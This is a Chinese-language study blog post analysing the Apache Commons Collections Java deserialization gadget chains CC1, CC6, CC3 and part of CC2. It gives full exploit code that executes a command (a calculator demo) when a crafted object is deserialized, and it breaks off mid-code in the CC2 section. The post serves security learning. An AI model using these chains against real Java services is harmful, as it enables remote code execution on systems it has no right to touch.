CC反序列化利用链
2024-09-13 09:14:17 # javasec # unserialize

CommonCollections

Apache Commons是Apache软件基金会的项目 , Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

TransformMap-CC1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1Transform {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "pysnow");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);

// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

分析

反序列化终点-transform

1
2
3
4
5
6
7
8
9
10
11
package CC;

import org.apache.commons.collections.functors.InvokerTransformer;

public class exp {
public static void main(String[] args) {
InvokerTransformer invoke = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invoke.transform(Runtime.getRuntime());
}
}

首先是命令执行的点,反序列化要找到入口点和出口点,入口点就是某个对象的readObject方法有能够利用的地方,出口点就是命令执行的地方,这里我们首先关注几个类

InvokerTransformer

他的transformer方法可以反射执行任意对象的任意方法,传入对对象,执行对象的某方法以及参数,这里传入的对象是Runtime.getRuntime(),但是反序列化的时候这个Runtime对象不能够序列化,所以我们需要自己手动调用

ChainedTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class exp {
public static void main(String[] args) {
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(1);
}
}

调试一下

这是ChainedTransformer的transform方法

他会遍历transforms数组里面的每个对象的transform方法,以上一个transform方法的返回结果用作下一个方法的值

第一步

ConstantTransformer的transform方法只是简单的赋值,将Runtime.class赋给this.iConstant

第二步

调用上一步的Runtime.class的getMethod方法并执行getRuntime参数,将返回一个getRuntime的method对象

第三步

调用该method对象的invoke方法,参数是null,那么就会返回Runtime对象给下一个循环

第四步

调用runtime对象的exec方法,参数是calc,最终执行调用calc命令调用计算器

ConstantTransformer

这个类可以理解为初始化操作

寻找反序列化链-TransformedMap

找到了如何执行命令的地方那就要找如何调用到这个终点的方法,这个利用方式无非是调用chainedTransformer.transform()方法,就需要找到一个xxx.transform()的代码

通过全局Ctrl alt shift f7查找找到TransformedMap的checkSetValue(Object)方法里面存在调用transform的操作,这里需要下载cc库的源代码才能查找,不能直接查找class文件

这里可以看到valueTransformer需要使用构造函数进行赋值,而这个构造函数是protect属性保护的,所以不能直接调用,这里查找一下哪里调用了构造函数

很明显在decorateTransform和decorate方法里面调用了构造函数,这里我们选择更简单的那个decorate装饰函数,他就只仅仅对构造函数进行了一次包装

将链子组装起来如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class exp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
HashMap map = new HashMap();
Map decorateMap = TransformedMap.decorate(map,null,chainedTransformer);

Method check = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
check.setAccessible(true);
check.invoke(decorateMap, (Object) null);

}
}

现在就是需要找到链子头部,然后调用TransformedMap的checkSetValue

AbstractInputCheckedMapDecorator.MapEntry

这是AbstractInputCheckedMapDecorator类的一个内部类MapEntry方法

他是TransformedMap的父类

再晚上是AbstractInputCheckedMapDecorator

再往上就是Map的setValue,他就是给一个map赋值的操作

调用setValue-Map.setValue

在原先的基础上多加一个entry.setValue操作进行调试

首先进入AbstractInputCheckedMapDecorator的setValue

再进入TransformedMap的checkSetValue

这里因为TransformedMap类没有setValue方法,所以去父类AbstractInputCheckedMapDecorator找,然后父类AbstractInputCheckedMapDecorator里面的setValue又调用了子类的checkSetValue方法,最后调用transform命令执行

到这里已经把链子简化到找到任意readObject里面调用了Map.Entry的setValue方法

反序列化起点-AnnotationInvocationHandler

最终找到这里,在AnnotationInvocationHandler的readObject里面调用了setValue方法。通过这个类的名字我们可以知道这个类是动态代理的中间处理。

接着分析我们如何调用setValue,这里要满足两个if

1
2
3
4
5
6
7
8
9
10
11
12
13
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
// 获取var1的接口,包括继承的以及父类继承的
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
// 检查是否第一个class对象是否继承的annotation,以及所有接口数量只有1且为Annotation
this.type = var1;
// 是则将var1传到type上去
this.memberValues = var2;
// 将map传到memberValues上去
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

这是该类的构造函数,第一个参数传入一个class对象,第二个参数传入一个map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
// 通过制定的class对象实例化一个AnnotationType对象

} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
// var3为AnnotationType注解对象的属性对象,为属性名->Class
Iterator var4 = this.memberValues.entrySet().iterator();
// 获取到了entrySet()的迭代器

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
// 遍历map中的每一个Entry属性
String var6 = (String)var5.getKey();
// 获取entry中的key
Class var7 = (Class)var3.get(var6);
// var7为从var3那个获取键名为传入的那个字符串,这里就是value
if (var7 != null) {
// 判断值不为空
Object var8 = var5.getValue();
// var8为值,通过entry获取的值,也就是自己指定的
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
// 判断是否var7不是继承var8,以及var8不是继承的ExceptionProxy
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
最终调用var5的setValue方法,进入调用链
}
}
}

}

这里要说明一些点,首先,为什么使用Target.Class作为第一个参数,因为首先我们在构造函数那需要找到一个只有一个接口并且是Annotation.class,其次我们需要这个接口一个成员属性,能在readObject那里get到不为空

所以找到了Target.class,当然Retention.class也可以

最后一点就是为什么ChainedTransformer里面第一个必须是ConstantTransformer,因为setValue里面的参数是不可控的,我们不能直接传入一个Runtime.class进去,但是ConstantTransformer可以,它相当于直接封装了这个赋值操作

调用流程图

LazyMap-CC1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {

// 正版 CC1 链最终 EXPpublic class LazyFinalEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serialize(invocationHandler);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

触发transform()

lazymap这条cc1链是ysoserial工具使用的链子,他跟transformmap不同的是他需要触发transform方法用的的链子不同,也就是说链尾任然是chainedTransformer,然后想办法触发他的transform方法,上一个链子使用的是TransformedMap的checkValue里面有调用了xxx.transform,而lazymap这条链子则使用的是LazyMap 这个类的 get 方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

可以看到这里我们需要map不包含这个指定的key,以及factory为我们自己构造的ChainedTransformer对象

然后我们接着看下这个lazymap的构造函数

可以看到这个构造函数是protected修饰的,我们不能直接调用,然后我们传入的factory直接给this.factory赋值,首先我们解决构造函数是protected的问题

跟transformMap类似,这个lazymap也是使用decorate来进行封装构造函数的

写出exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class exp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");

Map<Object,Object> decorateMap = LazyMap.decorate(map,chainedTransformer);
decorateMap.get(null);



}
}

现在就只需要找到xxx.get的功能点,然后串联起来了

这个lazymap链子同样也是使用的AnnotationInvocation这个动态代理类,我们可以观察它的invoke方法

触发get()

可以看到59行处调用了this.memberValues,这个invocation类我们直接分析过,这里的memberValues是可以直接通过构造函数设置的,这样我们就找到了触发get方法的地方了,现在我们就只需要找到xxx.invoke。

这里invoke在前面动态代理的时候可以知道这个其实是代理操作的具体执行逻辑,我们给对象进行动态代理的时候,调用被代理对象的任意方法都需要通过这个invocationhandler的这个invoke函数进行执行,也就是说我们只需要找到一个类的readObject方法里面有调用代理对象任意方法的地方就能触发到这里了

触发invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

接着我们继续关注这个类的readObject方法,可以看到

这个地方调用了代理对象的entrySet()方法

最后我们再将链子组装起来

首先我们要知道要代理的对象是哪个,很明显是用来触发invoke方法的那个对象

然后创建代理对象,然后将代理对象存储到annotationInvocation这个类的memberValues中反序列化他,他会自动调用这个代理对象的entrySet方法,然后进而调用这个代理handler的invoke方法,最总调用这个decorate的get方法

总结

以上就是CC1的全部内容,而针对这两条链子的修复方法在java 8u71 之后 TransformerMap版是直接setValue(),也就说readObject里面不存在调用setValue的代码

而lazymap版的CC1则是通过readFields 来获取几个特定的属性 ,也就是说这里的this.memberValues就不能设置成恶意类了,比如说设置成代理类,而是直接this.memberValues变成null

调用流程图

CC6

CC6后半段的链子跟CC1的Lazymap一样,都是调用Lazymap.get()然后RCE,然后CC1的利用条件比较苛刻,需要低版本jdk,jdk8u66以下,但是CC6是任何版本都能用,所以说CC6的链子比较常用,用的地方比较多

CC6的前半段则是采用的URLDNS那种链子,通过hashcode方法调用xxx.get(),也就是说CC6=CC1+URLDNS

exp

先上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");

lazyMap.remove("key");
// 在 put 之后通过反射修改值
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

触发get()

CC6我们要引入一个类TiedMapEntry,他的hashcode方法调用了getValue方法,而这个getValue方法有我们想要的东西

这个就相当于调用了xxx.get方法,也就能和Lazymap连接起来了,接着我们再看在哪调用了这个getValue,这个函数其实是很常用的,获取键值,我们一般在本类中寻找

触发getValue()

可以看到这个TieMapEntry的hashcode里面就调用了getValue,到了这里这个链子就很明显了,调用任意方法的hashCode方法一般就只有这一种方法,就是URLDNS的那种

通过Hashmap的readObject里面调用了hash(key),而这个hash(key)又调用了key.hashCode

注意点

我们仔细看这个exp其实是多了两个操作

第一个操作

在构造Lazymap的时候传入的是ConstantTransformer(1),这是为了放在序列化的时候因为put操作导致触发链子弹计算器,这个问题在之前URLDNS分析过,这里就不过多赘述了。

所以我们这里采取的是先传入一个正常的Transform进去,再put之后再将factory修改成恶意的Transform

第二个操作:

在exp.put完之后又执行了lazyMap.remove,这是为了防止反序列化不成功,具体的逻辑见下

我们最终要执行的是LazyMap.get,但是反序列化的时候这个if判断进不进去

可以看到在反序列化的时候这个map存在这个名为”key”的键名,所以就不会去调用后面的transform方法

但是我们在序列化的时候明明没有向这个Lazymap里面put任何值啊,这是为什么

这是因为在序列化的过程中expMap.put(tiedMapEntry, “value”);这行代码触发了一次链子,而这个链子走到了

Lazymap.get()一次过,此时参数key就为”key”,这个时候Lazymap里面还是不contains这个key的

但是执行完这次get方法之后这个lazymap就包含这个key了,可以看到在调用完transform方法之后还进行了一次put操作,将原先没有的key给put进去了,这就导致我们后面反序列化的时候进入不了这个if判断

所以我们就需要在exp.put完,触发完一次Lazymap.get之后再把这个Lazymap清空

调用流程图

CC3

CC3这条链与前面CC1和CC6最主要的区别是链尾处执行命令的地方变了,从Runtime执行系统命令变成了TemplatesImpl动态加载字节码初始化执行恶意代码,看了前面的动态加载模式那篇文章就应该很好懂了

EXP

CC1版CC3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_cc1 {

// 正版 CC1 链最终 EXPpublic class LazyFinalEXP {
public static void main(String[] args) throws Exception {
TemplatesImpl template = new TemplatesImpl();
byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
setField(template,"_name","pysnow");
setField(template,"_bytecodes",new byte[][] {codes});
setField(template,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
Object obj = declaredConstructor.newInstance(Override.class, proxyMap);

// serialize(obj);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setField(Object object,String name,Object value) throws Exception {
Field field= object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

这里直接把前面TemplatesImpl的代码搬过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package ClassLoad;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class templateimpl {
public static void main(String[] args) throws Exception {
TemplatesImpl template = new TemplatesImpl();
byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
setField(template,"_name","pysnow");
setField(template,"_bytecodes",new byte[][] {codes});
setField(template,"_tfactory",new TransformerFactoryImpl());
template.newTransformer();
}
public static void setField(Object object,String name,Object value) throws Exception {
Field field= object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package ClassLoad;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplateCode extends AbstractTranslet{

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

其实这里就是将CC1和TemplsImpl动态加载字节码两个连在一起,所以就没什么好分析的

CC6版CC3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_cc6 {

public static void main(String[] args) throws Exception{
TemplatesImpl template = new TemplatesImpl();
byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
setField(template,"_name","pysnow");
setField(template,"_bytecodes",new byte[][] {codes});
setField(template,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");

lazyMap.remove("key");
// 在 put 之后通过反射修改值
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

// serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setField(Object object,String name,Object value) throws Exception {
Field field= object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

TrAXFilter

我们最终都是调用

TemplatesImpl的newTransformer方法,那有没有办法不适用invokeTransform找到其他的方式调用newTransformer,因为invokeTransform有些时候存在被禁用的情况

这里我们查找usages

一共有四个地方调用了newTransformer

首先getOutputProperties就不用说了,之前分析调用链的时候看过,这个在后面Fastjson的时候会用到

Process这个在_main方法里面,调用不了

这两个在TransformerFactoryImpl类下的方法因为这个类不能被反序列化,所以也不能利用

最后对于这个TrAXFilter

可以看到这个类里面调用的newTransformer方法的代码在该类的构造方法里面,刚好可以利用另外一个Transformer对象,InstantiateTransformer

可以看到InstantiateTransformer的transform方法对传入的对象调用了构造器进行初始化

调用流程图

CC2

CC2链子使用的是 Commons-Collections 4.0

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "pysnow");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
